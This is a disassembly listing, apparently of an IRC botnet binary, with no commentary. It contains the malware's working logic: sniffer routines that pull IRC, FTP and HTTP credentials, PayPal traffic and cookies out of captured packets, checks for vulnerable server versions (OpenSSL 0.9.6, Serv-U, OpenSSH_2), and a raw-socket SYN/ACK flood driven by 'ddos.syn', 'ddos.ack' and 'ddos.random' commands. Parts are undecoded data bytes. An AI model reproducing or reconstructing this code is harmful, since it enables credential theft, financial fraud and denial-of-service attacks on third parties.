		dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h
		dd 50FFFFFFh, 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h
		dd 0FFFFFD4Ch, 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch
		dd 9268E8D0h, 5659FFFFh, 0DE4EE890h, 0BB53022Dh, 434EB0h
		dd 0FFFFBFh, 4C858D00h,	57FFFEFDh, 0C5E85056h, 83000093h
		dd 858D0CC4h, 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch
		dd 0FFFF883h, 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h
		dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh,	50004CAFh
		dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
		dd 0D075FF00h, 0FF90C9E8h, 0E85659FFh, 22DDCB0h
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDCE0, eax
		mov	eax, offset dword_4CDCE0
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A

loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2

loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491

loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7

loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507

loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E

loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E

loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4

loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615

loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B

loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAF88
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CAFF8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AC8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF20
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435A98
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h

loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAF8C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905

loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h

loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h

loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1

loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A64
		jmp	loc_4129E7
; ---------------------------------------------------------------------------

loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A30
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359FC
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359C4

loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------

loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43598C
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 9E80000h, 900228DCh, 8E52E850h
		dd 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh,	0FDF4858Dh
		dd 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h,	8D5014C4h
		dd 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh, 0F4858D50h
		dd 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh,	858D14C4h
		dd 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h, 0FF8915E8h
		dd 565959FFh, 0D4FAE890h, 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------

loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAF74
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAF74
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAF70
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAF74
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27B0000h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27A0ADEh
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27A0ADEh
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------

loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B1C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
